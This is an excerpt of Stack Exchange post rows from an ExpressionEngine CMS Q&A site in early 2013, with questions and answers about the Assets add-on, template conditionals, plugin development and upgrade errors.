  <row Id="5774" PostTypeId="1" CreationDate="2013-02-03T23:07:49.827" Score="1" ViewCount="247" Body="&lt;p&gt;I'm using Assets 2.0.4 and I just noticed that it doesn't include my subfolders that exist within my upload directories from when I had Assets 1.  For instance, I have a press releases folder that has about 8-10 subfolders in it, but all I see in Assets 2 is the parent directory.  Is this a bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, how would I get all of my subfolders indexed in Assets without having to re-upload them all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;System: EE 2.5.5 / Assets 2.0.4 / PHP 5.2.&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2014-03-04T16:53:12.323" Title="Assets and subfolders" Tags="|assets|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5775" PostTypeId="2" ParentId="5767" CreationDate="2013-02-04T01:48:40.153" Score="3" Body="&lt;p&gt;If at all possible try to convince the client to let you run WAMP. I had to manage an IIS EE site for 3 years and it was an absolute nightmare.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure you have .php &lt;a href=&quot;http://technet.microsoft.com/en-us/library/cc753615%28v=ws.10%29.aspx&quot; rel=&quot;nofollow&quot;&gt;set as a default document&lt;/a&gt; and higher priority than .html.&lt;/li&gt;&#xA;&lt;li&gt;You may want to purchase &lt;a href=&quot;http://www.isapirewrite.com/&quot; rel=&quot;nofollow&quot;&gt;ISAPI_Rewrite&lt;/a&gt;, which would allow you to use an .htaccess for any URL rewriting.&lt;/li&gt;&#xA;&lt;li&gt;Permissions are a nightmare. You have to use the Windows Explorer &quot;permissions&quot; interface to set upload directories and whatnot.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The biggest recommendation I have is reading through &lt;a href=&quot;http://www.iis.net/learn/application-frameworks/install-and-configure-php-applications-on-iis/expressionengine-on-iis&quot; rel=&quot;nofollow&quot;&gt;Microsoft's guide&lt;/a&gt;. Let us know if you run into anything crazy and I, for one, am happy to help.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-02-04T01:48:40.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5776" PostTypeId="1" AcceptedAnswerId="5777" CreationDate="2013-02-04T04:43:36.980" Score="0" ViewCount="461" Body="&lt;p&gt;I'm trying to show a list of all entries in a certain channel, in a certain category. I've got that much. In that, I'm trying to list all entries where a certain field is empty. I'm not getting the results I'm expecting, and I'm having trouble finding how to list a field value as being empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:channel:entries channel=&quot;spc-content&quot; category=&quot;5&quot; orderby=&quot;title&quot;}&#xA;{if content_featureimage ==&quot;&quot;}&amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries}&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the output I'm getting, &lt;a href=&quot;http://www.sparklecrackcentral.com/such/blog/&quot; rel=&quot;nofollow&quot;&gt;on this page&lt;/a&gt;. (Yes, the formatting is nonexistent. This list is essentially &quot;housekeeping&quot; - so that I can more easily figure out which entries I need to go back and fix.) I'm expecting at least four times the number of entries I'm getting in that list, so it's possible that my if-statement syntax is not the world's best. But...what should the correct syntax be, if I want to see a list of all entries that don't have anything in the content_featureimage field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE 2.5.4.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-02-04T15:29:28.283" Title="Advanced conditional to show entries where a field is empty" Tags="|ee2|conditionals|syntax|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5777" PostTypeId="2" ParentId="5776" CreationDate="2013-02-04T05:15:55.093" Score="4" Body="&lt;p&gt;I think, you should use parameter &lt;code&gt;search:content_featureimage=&quot;IS_EMPTY&quot;&lt;/code&gt; within channel entry tag.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="55" LastEditDate="2013-02-04T13:08:43.443" LastActivityDate="2013-02-04T13:08:43.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5778" PostTypeId="2" ParentId="5768" CreationDate="2013-02-04T06:20:46.750" Score="2" Body="&lt;p&gt;There's no way to do this using promo codes and Store. You would be able to create an extension to do this using our custom hooks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ability to create discounts like this is high on our &lt;a href=&quot;https://exp-resso.com/store/support&quot; rel=&quot;nofollow&quot;&gt;feature request list&lt;/a&gt; and will be addressed in a future version (though there is no specific timeframe, so if you need it now it's best to go with an extension).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-04T06:20:46.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5779" PostTypeId="1" AcceptedAnswerId="5817" CreationDate="2013-02-04T06:22:35.207" Score="3" ViewCount="203" Body="&lt;p&gt;I see in the latest version of WYGWAM 2.7 that if I use Assets 2.0.4 it will connect my files if I move or rename them.  Does this affect just new files or is it 'clever' enough for all of the past files I've used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm noticing that, even though a folder is indexed, the paths are not updating completely throughout my site.  Most of it is, but not all of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to search this site to find which assets are not being tracked through Assets 2.0.4 versus going through every entry?  Would Low Search work to search Assets fields?&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2013-02-04T18:19:21.980" Title="Assets and WYGWAM 2.7" Tags="|assets|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5780" PostTypeId="1" AcceptedAnswerId="5943" CreationDate="2013-02-04T08:20:54.510" Score="0" ViewCount="195" Body="&lt;p&gt;We've just updated to the latest version of Assets v2.0.4 and have noticed that there's two of every upload preference displaying in the side column. We're using the Focus Lab Config for this site and have the preferences set in the config.master.php similar to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    1 =&amp;gt; array(&#xA;        'name'        =&amp;gt; 'Files - Documents',&#xA;        'server_path' =&amp;gt; $media_path . '/files/documents/',&#xA;        'url'         =&amp;gt; $media_url  . '/files/documents/'&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There looks to be two possible problems, the first being that changing something in the config, doesn't reflect the change in Assets, and the problem of the subject matter whereby we see two of each File Upload preference. The above example would have entries in the side column for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Files - Documents&#xA;documents&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The proper name, and the name of the directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any assistance would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thought I would update showing what's going on in my instance. First of all here's my upload preferences so you can see they're pretty normal beasts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dljQ8.png&quot; alt=&quot;Screenshot showing File Upload Preferences are normal&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X6lgm.png&quot; alt=&quot;Example of what the Images: General paths look like when viewed - ie. not relative&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this is the output from Assets (v2.0.5) at time of capture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fv6tp.png&quot; alt=&quot;Assets upload listing - showing double up of upload folders&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I have an 'All Media' upload preference so that it can be set within WYGWAM as it only allows for a single upload location. The dated folders at the top of the Asset upload point listing are actually subfolders of the Files: Board Documents pref.&lt;/p&gt;&#xA;" OwnerUserId="347" LastEditorUserId="347" LastEditDate="2013-02-06T02:47:35.593" LastActivityDate="2013-02-07T02:29:52.797" Title="Double up of Assets File Upload preferences within Assets addon" Tags="|add-on|assets|focus-lab-master-config|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="5781" PostTypeId="2" ParentId="5640" CreationDate="2013-02-04T09:38:53.663" Score="1" Body="&lt;p&gt;Yeah, there was another bug which prevented this from working with var_prefix. Will be fixed in the next release, but you can just replace line 553 in helper.php with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (empty($file_vars[$var_prefix.$key]))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and that should hot-fix your issue while we get the next release out the door.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Andris&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-02-04T09:38:53.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5782" PostTypeId="1" AcceptedAnswerId="5783" CreationDate="2013-02-04T10:35:51.643" Score="2" ViewCount="91" Body="&lt;p&gt;I created a channel that has fields like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;company name&lt;/li&gt;&#xA;&lt;li&gt;address&lt;/li&gt;&#xA;&lt;li&gt;a matrix of daily working hours&lt;/li&gt;&#xA;&lt;li&gt;etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Throughout the site, I need to display bits and pieces of this data. Does that mean I need to use &lt;code&gt;exp:channel:entries&lt;/code&gt; every time to get the info? Seems expensive.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-02-04T12:55:43.037" Title="Website's Company Information Stored In A Channel - good or bad?" Tags="|channel-entries|channel|global-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5783" PostTypeId="2" ParentId="5782" CreationDate="2013-02-04T10:40:03.810" Score="7" Body="&lt;p&gt;If the project has relatively low needs in terms of site-wide data (read, If you don't need custom fields), then I tend to store these in global variables and snippets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I need to store more advanced content, I personally use &lt;a href=&quot;http://gotolow.com/addons/low-variables&quot;&gt;low variables&lt;/a&gt;. Pretty much a default now on medium or big EE builds. You can then use custom fields like Matrix, Wygwam, playa, etc. The native custom fields it offers are also great and worth looking into. Not to mention the fact that you can tweak parse order ... do I sound enthusiastic?&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-02-04T10:40:03.810" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5784" PostTypeId="2" ParentId="5465" CreationDate="2013-02-04T10:50:04.440" Score="0" Body="&lt;p&gt;Adrian wrote a fix. I can now use Safecracker to change the status without errors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fix wil be included in the next release of exp-resso store.&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2013-02-04T10:50:04.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5785" PostTypeId="1" AcceptedAnswerId="5796" CreationDate="2013-02-04T12:22:32.030" Score="8" ViewCount="2164" Body="&lt;p&gt;I've created a plugin that gets the entry_id's of the most popular selling items in the exp:resso store. I'd like to extend it by letting a user loop through each of those entries and output them on the page (much like the standard {exp:channel:entries} loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find any documentation about how to pull together the right information within my plugin as in the example below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment my template tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:expresso_store_most_popular_items category=&quot;2&quot; limit=&quot;3&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Exports a list of entry_id's of the most popular products eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;12,13,2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I export each entry_id in such a way that i can be used as a tag {entry_id} in a loop such as in the example below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:expresso_store_most_popular_items category=&quot;2&quot; limit=&quot;3&quot;}&#xA;    {exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;        {title}&#xA;        {price}&#xA;    {/exp:store:product}&#xA;{/exp:expresso_store_most_popular_items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any pointers much appreciated, thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="785" LastEditorUserId="150" LastEditDate="2013-02-04T14:21:37.733" LastActivityDate="2013-02-04T14:21:37.733" Title="How to create a plugin which returns channel entry data" Tags="|ee2|expresso-store|add-on-development|plugin|tags|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5786" PostTypeId="2" ParentId="5785" CreationDate="2013-02-04T12:44:30.497" Score="0" Body="&lt;p&gt;The entry ids should be pipe separated like 12|13|2 and simply use the code like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;{exp:expresso_store_most_popular_items category='2' limit='3'}&quot; parse=&quot;inward&quot;}&#xA;    {title}&#xA;    {price}&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would be fine if you can share your query here which you are using within the plugin expresso_store_most_popular_items.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-02-04T12:44:30.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5787" PostTypeId="1" CreationDate="2013-02-04T12:48:56.093" Score="0" ViewCount="422" Body="&lt;p&gt;OK, I've just tried upgrading from 2.5.2 to 2.5.5, and it didn't go well!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to run the installer, and it got me to the confirmation screen, where I deleted the installer, I can access the login page, and enter my details, and it starts to login in then sits on this url&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://mydomain.co.uk/admin.php?S=0&amp;amp;D=cp&amp;amp;C=login&amp;amp;M=authenticate&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing happens (in Safari) and in Chrome, it says 500 Internal server error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As this didn't work, I removed all files and uploaded my backup, and now I'm still getting the same!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changed debug &lt;code&gt;$debug = 1;&lt;/code&gt; in admin.php, and now get the following error on the admin page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kF73A.png&quot; alt=&quot;error&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, so went into database and had a look at the exp_security_hashes table, and I had a field titles session_id, I changed this to ip_address and it seems as though its now up and working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will keep an eye out and see what happens!&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="542" LastEditDate="2013-02-04T14:30:46.247" LastActivityDate="2013-02-04T14:30:46.247" Title="Unable to access site after upgrade?" Tags="|upgrade|updating|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5788" PostTypeId="2" ParentId="5787" CreationDate="2013-02-04T12:53:03.267" Score="1" Body="&lt;p&gt;It sounds like an extension issue if it gets stuck on that URL. That's just a guess though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turn on the debug setting to get a better sense of what's happening. This will show errors to the screen when the pages loads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your config file change or add this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$config['debug'] = '1';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should help print the error message(s) to the screen. If you aren't sure what they mean you can update the post with that information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If error messages don't show up after that, you can check your apache error log on the server. Do you know how to find that?&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2013-02-04T12:53:03.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5789" PostTypeId="2" ParentId="5782" CreationDate="2013-02-04T12:55:43.037" Score="0" Body="&lt;p&gt;You can approach it as a channel entry with decent performance if you store the bits you need for re-use with &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;.  Low Variables may be the approach I would prefer for bits like this, but I have done it with channel entries and stash before and it has worked well, stashing content bits with a scope of &quot;site&quot; and with a high refresh interval since this type of content is not likely to change often.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-02-04T12:55:43.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5790" PostTypeId="2" ParentId="5787" CreationDate="2013-02-04T12:57:39.690" Score="1" Body="&lt;p&gt;I have had that happen before when the permissions of the index.php or admin.php got uploaded without being executable.  Give that a look.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-02-04T12:57:39.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5791" PostTypeId="2" ParentId="5773" CreationDate="2013-02-04T13:14:18.470" Score="2" Body="&lt;p&gt;Absolutely - you can use the P&amp;amp;T Dropdown fieldtype (part of the free &lt;a href=&quot;http://pixelandtonic.com/divebar&quot; rel=&quot;nofollow&quot;&gt;P&amp;amp;T Field Pack&lt;/a&gt;). You'd setup your options in the fieldtype settings like so to create grouped options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; : Select your county&#xA;England&#xA;    County 1&#xA;    County 2&#xA;    County 3&#xA;Scotland&#xA;    County 1&#xA;    County 2&#xA;    County 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-04T13:14:18.470" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5792" PostTypeId="2" ParentId="5631" CreationDate="2013-02-04T13:28:42.913" Score="0" Body="&lt;p&gt;i figured it out. i had Zoo triggers installed. i wasn't using it, but in the output profiler i saw it did get called. i had to de-install it completely, but the issue was gone...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;guess i'll be back soon for some help with categories and archives....&lt;/p&gt;&#xA;" OwnerUserId="215" LastEditorUserId="215" LastEditDate="2013-02-04T14:45:29.783" LastActivityDate="2013-02-04T14:45:29.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5794" PostTypeId="2" ParentId="5683" CreationDate="2013-02-04T13:45:25.533" Score="2" Body="&lt;p&gt;When you pass a tag as a parameter you need to use &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; to tell the template parser to parse each of the parameter values. You also need to be careful to use double quotes to wrap the value and single quotes for the tag passed as a parameter (or vice versa - just be consistent). Finally, never use line-breaks in a parameter value - this will choke the parser. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;     limit=&quot;3&quot;&#xA;     channel=&quot;{exp:stash:get name='my_inventory_name'}&quot;&#xA;     parse=&quot;inward&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In you updated question you are trying to set a Stash variable based on an advanced conditional. This will never work as expected because of the way EE parses advanced conditionals: all possible outcomes are parsed, and the non-matching condition removed at the end of template parsing. Instead, use &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;IfElse&lt;/a&gt; or Stash's own match/against and default parameters to set the value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- match non-empty values only, use default to set the fallback value --}&#xA;{!-- using trim=&quot;yes&quot; to remove linebreaks / whitespace --}&#xA;{exp:stash:set &#xA;    name=&quot;my_inventory_name&quot; &#xA;    match=&quot;#\S+#&quot; &#xA;    against=&quot;{exp:foo:bar param_key='param_value'}&quot; &#xA;    default=&quot;default_channel&quot; &#xA;    trim=&quot;yes&quot;&#xA;    parse=&quot;inward&quot;&#xA;}&#xA;    {segment_2}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-02-04T13:45:25.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5796" PostTypeId="2" ParentId="5785" CreationDate="2013-02-04T14:19:32.433" Score="11" Body="&lt;p&gt;There are a couple of ways to create plugins which return entry IDs like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first, and most obvious, is for your plugin to return a pipe-separated list of entries, which is then passed to a channel entries tag. In your plugin file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tag_vars = array(array('search_entry_ids' =&amp;gt; '4|6|12|19'));&#xA;$this-&amp;gt;return_data = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $tag_vars);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This can then be used in a template with the help of &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:my_plugin parse=&quot;inward&quot;}&#xA;    {exp:channel:entries fixed_order=&quot;{search_entry_ids}&quot;}&#xA;        &amp;lt;!-- results --&amp;gt;&#xA;    {/exp:channel:entries}&#xA;{/exp:my_plugin}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; I used the &lt;code&gt;fixed_order&lt;/code&gt; paramter here. It behaves exactly the same as the &lt;code&gt;entry_id=&quot;&quot;&lt;/code&gt; parameter, except it keeps entries in the order you specify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other, slightly more cunning alternative is to actually extend the channel entries plugin. For example, this is what we do with the &lt;a href=&quot;https://exp-resso.com/docs/store/search_tag.html&quot;&gt;Store Search tag&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your plugin, generate the same pipe-separated list of entry IDs. Then, load the channel entries tag and pass over handling to it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$search_entry_ids = '4|6|12|19';&#xA;&#xA;if (empty($search_entry_ids))&#xA;{&#xA;    return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;no_results;&#xA;}&#xA;&#xA;// save our results into the fixed_order parameter&#xA;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagparams['fixed_order'] = $search_entry_ids;&#xA;&#xA;// load channel entries tag&#xA;if ( ! class_exists('Channel'))&#xA;{&#xA;    require_once(APPPATH.'modules/channel/mod.channel.php');&#xA;}&#xA;&#xA;// let channel entries tag do all the hard work&#xA;$channel = new Channel();&#xA;$this-&amp;gt;return_data = $channel-&amp;gt;entries();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now people using your plugin don't have to worry about parsing or any messy variables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:my_plugin}&#xA;    &amp;lt;!-- all variables which work inside exp:channel:entries work here --&amp;gt;&#xA;{/exp:my_plugin}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Credit: I originally got this idea from &lt;a href=&quot;https://gist.github.com/1322600&quot;&gt;this helpful gist&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-04T14:19:32.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5797" PostTypeId="2" ParentId="5766" CreationDate="2013-02-04T14:52:27.730" Score="0" Body="&lt;p&gt;I'd first delete all &quot;cache&quot; created files for CE Image so you are starting with all newly created images. Then rerun the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, clear browser cache and force a hard page load. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check PHP error logs to see if there are any memory errors. Might also just increase PHP memory for kicks. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-04T14:52:27.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5798" PostTypeId="2" ParentId="5766" CreationDate="2013-02-04T14:53:18.743" Score="0" Body="&lt;p&gt;I had this problem recently with CE Image and a server move. The fix was to put the path to the HTML document root in EE's config.php file like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['ce_image_document_root'] = '/path/to/html';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this works for you as it did for me.&lt;/p&gt;&#xA;" OwnerUserId="467" LastActivityDate="2013-02-04T14:53:18.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5799" PostTypeId="1" AcceptedAnswerId="5800" CreationDate="2013-02-04T14:54:36.817" Score="0" ViewCount="125" Body="&lt;p&gt;I seem to have a problem with Playa + conditionals + snippets. I've emailed P&amp;amp;T since it may be an error in Playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to accomplish a listings page where the information displayed depends on the membership package of each entry. If statements don't seem to work correctly, perhaps it's the parse order?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;companies&quot; dynamic=&quot;no&quot;}&#xA;&#xA;  {!-- this works --}&#xA;  {company_membership_package var_prefix=&quot;pkg&quot;}&#xA;    {pkg:title}&#xA;  {/company_membership_package}&#xA;&#xA;  {!-- this works --}&#xA;  {company_membership_package}&#xA;    {title}&#xA;  {/company_membership_package}&#xA;&#xA;  {!-- this fails - nothing displayed --}&#xA;  {company_membership_package var_prefix=&quot;pkg&quot;}&#xA;    {if {pkg:title} == &quot;Premium&quot;}&#xA;      {snp_company-listings_Premium}&#xA;    {if:elseif pkg:title == &quot;Premium&quot;}&#xA;      {snp_company-listings_Premium}&#xA;    {/if}&#xA;  {/company_membership_package}&#xA;&#xA;  {!-- this fails - outputs {snp_company-listings_Premium} --}&#xA;  {exp:playa:children var_prefix=&quot;pkg&quot;}&#xA;      {snp_company-listings_{pkg:title}}&#xA;   {/exp:playa:children}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{company_membership_package} is a Playa field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;br /&gt;&#xA;Paul&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-02-04T15:00:40.793" Title="Playa with conditionals and snippets" Tags="|channel-entries|playa|conditionals|snippets|advanced-conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5800" PostTypeId="2" ParentId="5799" CreationDate="2013-02-04T15:00:40.793" Score="2" Body="&lt;p&gt;did you check if your if statements are matched? something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{company_membership_package var_prefix=&quot;pkg&quot;}&#xA;    {if '{pkg:title}' == 'Premium'}&#xA;      ppackage title is Premium&#xA;    {if:else}&#xA;      package title is not Premium&#xA;    {/if}&#xA;  {/company_membership_package}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By the way, maybe using single quotes as i did might help too&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2013-02-04T15:00:40.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5801" PostTypeId="1" CreationDate="2013-02-04T15:27:58.380" Score="1" ViewCount="267" Body="&lt;p&gt;Having a few problems with the P&amp;amp;T field pack working within safecracker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to get a checkbox field working...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use the short field name tag i.e. &lt;code&gt;{field:mycheckboxes}&lt;/code&gt; it works, it submits the correct checked boxes, and it remains checked if other elements of the form fail validation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I want to specifically target the options in order to apply styling, but any combination I've used other than the short name, all fails to submit the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried Low options, like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_options:walk_features_new}                           &#xA;{options}                                     &#xA;  &amp;lt;label class=&quot;checkbox&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;checkbox&quot; name=&quot;walk_features_new[]&quot; value=&quot;{walk_features_new:value}&quot;/&amp;gt;&#xA;    {option:label}&#xA;  &amp;lt;/label&amp;gt;&#xA;{/options}&#xA;{/exp:low_options:walk_features_new}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It all outputs correctly into the form, but nothing gets submitted.&lt;/p&gt;&#xA;" OwnerUserId="542" 